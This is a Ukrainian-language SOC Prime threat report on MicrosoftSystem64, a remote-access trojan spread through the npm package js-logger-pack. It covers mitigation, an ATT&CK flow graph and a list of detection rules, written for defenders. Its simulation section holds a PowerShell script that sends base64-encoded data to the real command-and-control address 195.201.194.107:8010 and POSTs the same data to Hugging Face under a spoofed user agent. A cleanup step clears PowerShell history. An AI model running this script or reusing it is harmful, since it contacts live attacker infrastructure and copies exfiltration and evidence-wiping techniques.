SOC Prime Bias: Критичний

03 Jun 2026 16:24 UTC

MicrosoftSystem64: RAT у ланцюгу поставок для ексфільтрації даних на Hugging Face

Author Photo
SOC Prime Team linkedin icon Стежити
MicrosoftSystem64: RAT у ланцюгу поставок для ексфільтрації даних на Hugging Face
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Резюме

Шкідливий npm пакет під назвою js-logger-pack був використаний для розповсюдження багатоплатформового Node.js додатку з одним виконуваним файлом під назвою MicrosoftSystem64. Двійковий файл функціонує як повнофункціональний троян для віддаленого доступу, здатний красти розширення криптовалютних гаманців, збережені браузером облікові дані, SSH-ключі, дані сеансу Telegram та скріншоти. Викрадена інформація ексфільтрується через приватні набори даних Hugging Face з використанням скомпрометованого API токена, тоді як командно-контрольний трафік обробляється через WebSocket сервер на 195.201.194.107:8010. Кампанія була пов’язана з загрозою, що асоціюється з Північною Кореєю, яка змінює облікові записи npm і Hugging Face для збереження доступу та підтримки операцій.

Розслідування

SafeDep проаналізувала зразок шкідливого програмного забезпечення та витягла його XOR-зашифровану конфігурацію, командно-контрольну кінцеву точку, токен Hugging Face та список з понад 80 цільових ID розширень гаманця. Дослідники також переглянули методи забезпечення стійкості, використані в системах Windows, macOS і Linux, та відновили весь ланцюжок ексфільтрації, що включає APIs Hugging Face. Жива перевірка 28 травня підтвердила, що активні набори даних все ще отримують скріншоти та архіви облікових даних, взяті з реальних жертв.

Пом’якшення

Організації повинні негайно видалити будь-які відомі шкідливі npm пакети, пов’язані з цією кампанією, змінити скомпрометовані облікові дані, SSH-ключі та насіння криптовалютних гаманців, та стежити за несанкціонованою активністю API Hugging Face. Захисти кінцевих точок повинні виявляти ім’я процесу MicrosoftSystem64 та будь-які пов’язані створення запланованих завдань. Мережевы контролі також повинні блокувати вихідний трафік на визначену IP-адресу командно-контроль і обмежувати несподіваний доступ до кінцевих точок Hugging Face з невідомих двійкових файлів.

Реакція

Якщо MicrosoftSystem64 виявлено, негайно ізолюйте уражену систему, припиніть шкідливий процес, видаліть установочні файли та заплановані завдання, і відкличте скомпрометований токен Hugging Face. Слідчі повинні зібрати судово-медичні докази з журналів і будь-яких шляхів ексфільтрації даних, потім сповістити відповідних зацікавлених сторін і оновити інструменти сканування залежностей, щоб блокувати шкідливі пакети в майбутніх збірках.

graph TB %% Оголошення класів classDef action fill:#99ccff classDef tool fill:#ffcc99 classDef malware fill:#ff9966 classDef infra fill:#ff9999 %% Вузли інструментів і шкідливого ПЗ tool_npm[“<b>Інструмент</b> – npm пакет `js-logger-pack`<br/><b>Опис</b> Містить SEA-бінарник `MicrosoftSystem64`”] class tool_npm tool malware_binary[“<b>Шкідливе ПЗ</b> – Бінарник `MicrosoftSystem64`<br/><b>Опис</b> Кросплатформний ELF, запакований як Node.js SEA з XOR-шифрованою конфігурацією”] class malware_binary malware infra_c2[“<b>Інфраструктура</b> – WebSocket C2<br/>IP 195.201.194.107 порт 8010”] class infra_c2 infra %% Вузли атаки init_supply_chain[“<b>Дія</b> – <b>T1195.001 Компрометація ланцюга постачання</b><br/>Зловмисник публікує шкідливий npm пакет `js-logger-pack`, що містить SEA-бінарник”] class init_supply_chain action execution_ingress[“<b>Дія</b> – <b>T1105 Передача інструменту всередину</b><br/>Жертва встановлює пакет і запускає вбудований Node.js бінарник”] class execution_ingress action defense_obfuscation[“<b>Дія</b> – <b>T1027.009 / T1027.004 Обфусковані файли або дані</b><br/>ELF запакований як SEA з XOR-шифрованою конфігурацією”] class defense_obfuscation action persistence_mechanisms[“<b>Дія</b> – <b>T1547.001 / T1547.014 / T1543.001 / T1543.002 Закріплення (Persistence)</b><br/>Створення ключів Run, Active Setup, LaunchAgent macOS і systemd-сервісу Linux”] class persistence_mechanisms action defense_hide[“<b>Дія</b> – <b>T1564.014 Приховування артефактів</b> & <b>T1497.002 Уникнення пісочниці</b><br/>Використання розширених атрибутів і перевірок активності користувача”] class defense_hide action priv_esc[“<b>Дія</b> – Підвищення привілеїв через механізми закріплення<br/>Повторне використання Run-ключа або сервісу для ескалації прав”] class priv_esc action cred_browser[“<b>Дія</b> – <b>T1217 Збір інформації браузера</b> & <b>T1555.003 Облікові дані браузера</b><br/>Викрадення даних Chrome, Edge, Firefox та криптогаманців”] class cred_browser action keylogging[“<b>Дія</b> – <b>T1056.001 Кейлогінг</b><br/>Зчитування натискань клавіш і буфера обміну у Windows/macOS/Linux”] class keylogging action collection_clip_video[“<b>Дія</b> – <b>T1115 Дані буфера обміну</b> & <b>T1125 Захоплення відео</b><br/>Скріншоти кожні 60 секунд і моніторинг буфера обміну”] class collection_clip_video action collection_db[“<b>Дія</b> – <b>T1213.006 Дані з інформаційних сховищ: бази даних</b><br/>Витяг браузерних БД, SSH ключів, Telegram tdata та інших даних”] class collection_db action c2_communication[“<b>Дія</b> – <b>T1105 Комунікація з C2</b><br/>З’єднання з WebSocket C2 на 195.201.194.107:8010”] class c2_communication action exfiltration_hf[“<b>Дія</b> – Ексфільтрація через API HuggingFace<br/>Завантаження викрадених даних у акаунт `jpeek998`”] class exfiltration_hf action impact_resource[“<b>Дія</b> – <b>T1496.001 Захоплення ресурсів</b><br/>Викрадення даних криптогаманців для незаконного використання”] class impact_resource action %% Потік tool_npm –>|доставляє| malware_binary malware_binary –>|активує| init_supply_chain init_supply_chain –>|призводить до| execution_ingress execution_ingress –>|призводить до| defense_obfuscation defense_obfuscation –>|призводить до| persistence_mechanisms persistence_mechanisms –>|активує| defense_hide defense_hide –>|активує| c2_communication persistence_mechanisms –>|активує| priv_esc priv_esc –>|призводить до| cred_browser cred_browser –>|призводить до| keylogging keylogging –>|призводить до| collection_clip_video collection_clip_video –>|призводить до| collection_db collection_db –>|призводить до| c2_communication c2_communication –>|використовує| infra_c2 c2_communication –>|призводить до| exfiltration_hf exfiltration_hf –>|результат| impact_resource

Потік Атаки

Виявлення

Можливі Точки Стійкості [ASEPs – Програмне забезпечення/NTUSER Hive] (через реєстр подій)

Команда SOC Prime
03 червня 2026

Можливість виконання через приховані лінії команд PowerShell (через cmdline)

Команда SOC Prime
03 червня 2026

Файл Linux .desktop був створений у незвичайній папці (через файл події)

Команда SOC Prime
03 червня 2026

Прихований файл був створений на хості Linux (через файл події)

Команда SOC Prime
03 червня 2026

IOCs (HashSha256) для виявлення: Усередині MicrosoftSystem64: РАТ ланцюга постачання з ексфільтрацією в HuggingFace

Правила SOC Prime AI
03 червня 2026

IOCs (SourceIP) для виявлення: Усередині MicrosoftSystem64: РАТ ланцюга постачання з ексфільтрацією в HuggingFace

Правила SOC Prime AI
03 червня 2026

IOCs (DestinationIP) для виявлення: Усередині MicrosoftSystem64: РАТ ланцюга постачання з ексфільтрацією в HuggingFace

Правила SOC Prime AI
03 червня 2026

Виявлення клавіатурного контролю SetWindowsHookEx шкідливим програмним забезпеченням [Windows Sysmon]

Правила SOC Prime AI
03 червня 2026

Виявлення РАТ MicrosoftSystem64 на системах Linux [Linux створення процесу]

Правила SOC Prime AI
03 червня 2026

Ексфільтрація даних РАТ MicrosoftSystem64 через HuggingFace [Windows мережеве з’єднання]

Правила SOC Prime AI
03 червня 2026

Виявлення виконання РАТ MicrosoftSystem64 і PowerShell команди [Windows створення процесу]

Правила SOC Prime AI
03 червня 2026

Виконання симуляції

Попередня умова: Телекартографія та базове перевірка повинні бути пройдені.

Раціональне: цей розділ описує точне виконання техніки, призначеної для спрацювання правила виявлення. Команди та наратив МАЮТЬ безпосередньо відповідати виявленим технікам та мають на меті генерувати точну телеметрію, очікувану логікою виявлення.

  • Наратив атаки та команди:
    Атакуючий вже встановив “Microsoft System64 RAT” на скомпрометованому Windows хості. Щоб ексфільтрувати викрадені дані, RAT виконує дві паралельні дії:

    1. Канал C2: Відкриває сирий сокет TCP до жорстко закодованого шкідливого сервера 195.201.194.107 на порту 8010 та передає дані, закодовані в base-64.
    2. Прихована HTTP ексфільтрація: Відправляє HTTPS POST запит на https://huggingface.co/api/upload з тими ж даними, вбудованими у тіло запиту, використовуючи законно виглядаючий user-agent, щоб злитись зі звичайним трафіком.

    Обидві дії генерують події outbound firewall, які відповідають правилу Sigma.

  • Скрипт тестування регресії:

    # -------------------------------------------------
    # Симуляція ексфільтрації System64 RAT (PowerShell)
    # -------------------------------------------------
    # 1. Підготовка підроблених ексфільтраційних даних
    $data = "SecretData$(Get-Date -Format o)" | ConvertTo-Json
    $b64   = [Convert]::ToBase64String([Text.Encoding]::UTF8.GetBytes($data))
    
    # 2. Надіслати дані через сирий TCP (C2)
    $c2Ip   = "195.201.194.107"
    $c2Port = 8010
    try {
        $tcpClient = New-Object System.Net.Sockets.TcpClient($c2Ip, $c2Port)
        $stream    = $tcpClient.GetStream()
        $bytes     = [Text.Encoding]::UTF8.GetBytes($b64)
        $stream.Write($bytes, 0, $bytes.Length)
        $stream.Close()
        $tcpClient.Close()
        Write-Host "[+] TCP ексфільтрація надіслана на $c2Ip:$c2Port"
    } catch {
        Write-Error "[-] З'єднання TCP не вдалося: $_"
    }
    
    # 3. Надіслати дані через HTTPS на HuggingFace (прихована ексфільтрація)
    $uri = "https://huggingface.co/api/upload"
    try {
        Invoke-WebRequest -Uri $uri `
            -Method POST `
            -Body @{ data = $b64 } `
            -Headers @{ "User-Agent" = "Mozilla/5.0 (Windows NT 10.0; Win64; x64)" } `
            -UseBasicParsing
        Write-Host "[+] HTTP ексфільтрація надіслана на huggingface.co"
    } catch {
        Write-Error "[-] Запит HTTP не вдалося: $_"
    }
  • Команди очищення:

    # Видаліть усі залишки мережевих артефактів
    Get-NetTCPConnection -RemoteAddress 195.201.194.107 -RemotePort 8010 |
        ForEach-Object { Stop-Process -Id $_.OwningProcess -Force }
    
    # Очистіть історію PowerShell (опціонально)
    Clear-History